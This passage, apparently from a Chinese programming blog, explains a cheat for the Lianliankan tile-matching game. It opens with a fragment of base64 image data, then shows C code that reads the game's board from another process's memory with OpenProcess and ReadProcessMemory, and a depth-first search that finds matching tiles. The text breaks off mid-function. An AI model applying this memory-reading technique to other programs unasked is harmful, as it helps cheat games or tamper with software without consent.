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" alt> </p><h1 id="读取棋盘数据"><a href="#读取棋盘数据" class="headerlink" title="读取棋盘数据"></a>读取棋盘数据</h1><p>读棋盘数据首先要获得进程pid，可以通过Findwindow先找到窗口句柄，然后再GetWindowThreadProcessId找到pid。 最后ReadProcessMemory把棋盘数据读到数组里就好了。棋盘大小是11*19</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">hWnd = FindWindow(<span class="literal">NULL</span>, \_T(GAME\_CAPTION));</span><br><span class="line"><span class="keyword">if</span> (hWnd == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">\_tprintf\_s(_T(<span class="string">"Cant find windown"</span>));</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">GetWindowThreadProcessId(hWnd, &amp;pid);</span><br><span class="line">hGame = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, pid);</span><br><span class="line">ReadProcessMemory(hGame, lpChess, chess, <span class="number">11</span> * <span class="number">19</span>, <span class="literal">NULL</span>);</span><br><span class="line">CloseHandle(hGame);</span><br></pre></td></tr></table></figure><h2 id="计算可消除的格子"><a href="#计算可消除的格子" class="headerlink" title="计算可消除的格子"></a>计算可消除的格子</h2><p>棋盘数据已经存在11*19的数组里了，0代表空格，非零的情况对应的号码代表一个块，同号码代表同块 我是用一个深搜，先将棋盘外围填上一个边界值-1，代表到边界。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">memset</span>(chess2, <span class="number">-1</span>, <span class="keyword">sizeof</span>(chess2));</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">11</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>; j &lt; <span class="number">19</span>; j++)</span><br><span class="line">&#123;</span><br><span class="line">chess2\[i + <span class="number">1</span>\]\[j + <span class="number">1</span>\] = chess\[i\]\[j\];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后从棋盘左上角开始遍历，判断每一个方块是否可以被消除。判断是否可以被消除的函数为bCheck()</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> x1, x2, y1, y2;</span><br><span class="line"><span class="keyword">for</span> (x1 = <span class="number">1</span>; x1 &lt;= <span class="number">11</span>; x1++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (y1 = <span class="number">1</span>; y1 &lt;= <span class="number">19</span>; y1++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (chess2\[x1\]\[y1\] == <span class="number">0</span>)</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (x2 = <span class="number">1</span>; x2 &lt;= <span class="number">11</span>; x2++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (y2 = <span class="number">1</span>; y2 &lt;= <span class="number">19</span>; y2++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (!(x1 == x2 &amp;&amp; y1 == y2) &amp;&amp; chess2\[x1\]\[y1\] == chess2\[x2\]\[y2\])</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1, y1, x2, y2, <span class="number">0</span>, DIRECT_BEGIN))</span><br><span class="line">&#123;</span><br><span class="line">\_tprintf\_s(_T(<span class="string">"GET:%d,%d and %d,%dn"</span>), x1, y1, x2, y2);</span><br><span class="line">CloseHandle(hWnd);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面是关键的bCheck，采用深搜。依次向上下左右递归搜索。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL <span class="title">ClearLianliankan::bCheck</span><span class="params">(<span class="keyword">int</span> x1, <span class="keyword">int</span> y1, <span class="keyword">int</span> x2, <span class="keyword">int</span> y2, <span class="keyword">int</span> cTurn, <span class="keyword">int</span> eDirect)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (cTurn &gt; <span class="number">3</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line"><span class="keyword">if</span> (x1 == x2 &amp;&amp; y1 == y2)</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line"></span><br><span class="line"><span class="comment">//UP</span></span><br><span class="line"><span class="keyword">if</span> ((chess2\[x1 - <span class="number">1</span>\]\[y1\] == <span class="number">0</span> || chess2\[x1 - <span class="number">1</span>\]\[y1\] == chess2\[x2\]\[y2\]) &amp;&amp; eDirect != DIRECT_DOWN)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (eDirect != DIRECT_UP)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1 - <span class="number">1</span>, y1, x2, y2, cTurn + <span class="number">1</span>, DIRECT_UP))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1 - <span class="number">1</span>, y1, x2, y2, cTurn, DIRECT_UP))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//DOWN</span></span><br><span class="line"><span class="keyword">if</span> ((chess2\[x1 + <span class="number">1</span>\]\[y1\] == <span class="number">0</span> || chess2\[x1 + <span class="number">1</span>\]\[y1\] == chess2\[x2\]\[y2\]) &amp;&amp; eDirect != DIRECT_UP)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (eDirect != DIRECT_DOWN)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1 + <span class="number">1</span>, y1, x2, y2, cTurn + <span class="number">1</span>, DIRECT_DOWN))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1 + <span class="number">1</span>, y1, x2, y2, cTurn, DIRECT_DOWN))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//LEFT</span></span><br><span class="line"><span class="keyword">if</span> ((chess2\[x1\]\[y1 - <span class="number">1</span>\] == <span class="number">0</span> || chess2\[x1\]\[y1 - <span class="number">1</span>\] == chess2\[x2\]\[y2\]) &amp;&amp; eDirect != DIRECT_RIGHT)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (eDirect != DIRECT_LEFT)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1, y1 - <span class="number">1</span>, x2, y2, cTurn + <span class="number">1</span>, DIRECT_LEFT))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1, y1 - <span class="number">1</span>, x2, y2, cTurn, DIRECT_LEFT))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//RIGHT</span></span><br><span class="line"><span class="keyword">if</span> ((chess2\[x1\]\[y1 + <span class="number">1</span>\] == <span class="number">0</span> || chess2\[x1\]\[y1 + <span class="number">1</span>\] == chess2\[x2\]\[y2\]) &amp;&amp; eDirect != DIRECT_LEFT)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (eDirect != DIRECT_RIGHT)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1, y1 + <span class="number">1</span>, x2, y2, cTurn + <span class="number">1</span>, DIRECT_RIGHT))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (bCheck(x1, y1 + <span class="number">1</span>, x2, y2, cTurn, DIRECT_RIGHT))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span 